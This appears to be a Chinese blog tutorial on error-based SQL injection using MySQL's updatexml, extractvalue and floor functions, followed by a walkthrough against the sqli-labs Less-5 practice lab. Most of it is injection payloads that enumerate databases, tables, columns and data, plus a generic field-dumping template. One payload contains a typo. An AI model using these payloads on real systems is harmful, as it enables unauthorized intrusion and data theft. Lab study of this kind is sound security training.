sql注入——报错注入

 

目录

一,报错注入的三个函数

1,updatexml()函数

2,extractvalue()函数

 3,floor()函数

二,实战演练


练习环境:sqli-labs-master  phpstudy

sqli-labs-master(下载地址) :https://pan.baidu.com/s/1JBncmGsH3b1s4C6W-PwQQw 
提取码:fnhj

一,报错注入的三个函数

1,updatexml()函数

updatexml(arg1,arg2.arg3)    解释:改变文档中符合条件的节点值

arg1:xml文档对象的名称

arg2:xpath格式的字符串

arg3:srting格式,替换查找到的符合条件的数据

总结:updatexml有三个参数

语句————演变形式:
select updatexml(1,2,3)-- -

select updatexml(1,concat(,ox7e,(select user())),3)-- -  
    //解释:0x7e 等于 ~ 波浪号 
        显示当前数据库的库名,这里用concat将0x7e和数据库名在一行显示

返回结果:返回结果:XPATH syntax error: '~root@localho’

2,extractvalue()函数

extractvalue(arg1,arg2) 从目标XML中返回包含所查询值的字符串

       arg1String格式,为XML文档对象的名称

       arg2:Xpath格式的字符串。

语句:
    select extractvalue(1,concat(0x7e,(select user()),0x7e))

返回结果:
    XPATH syntax error: '~root@localhost~

 3,floor()函数

floor(arg1):函数只返回arg1整数部分,小数部分舍弃。 

语句:select 1,(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a),3

  返回结果:Duplicate entry 'root@localhost1' for key 'group_key’

二,实战演练

sqli-labs-master 第五关为列

第一步:判断注入点:

?id=1' and 1=1-- -   //页面正常显示
?id=1' and 1=2-- -   //页面空显示

第二步:尝试使用union 联合查询语句

http://localhost/sqli-labs-master/Less-5/?id=1' order by 4-- -
    页面空显示就表示只有三列

判断显示位

http://localhost/sqli-labs-master/Less-5/?id=1' union select1,0x7e,3-- -
    页面报错发现将union过滤了
    下面试试updatexml报错语句

构建报错语句

准备语句

http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,0x7e,3)-- -

查看基本数据

http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(user())),3)-- -

暴库:

?id=1' and updatexml(1,(concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))),3)-- -

爆表名:

?id=1' and updatexml(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema="information_schema" limit 0,1))),3)-- -

爆字段名:

?id=1' and updatexml(1,(concat(0x7e,(select column_name from information_schema.columns where table_schema="information_schema" and table_name="CHARACTER_SETS" limit 0,1))),3)-- -

爆数据:

?id=1' and updatexml(1,(concat(0x7e,(select CHARACTER_SET_NAME from information_schema.CHARACTER_SETS limit 0,1))),3)-- -

解释:?id=1' and updatexml(1,(concat(0x7e,(select 字段名 from 库名.表名 limit 0,1))),3)-- -

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值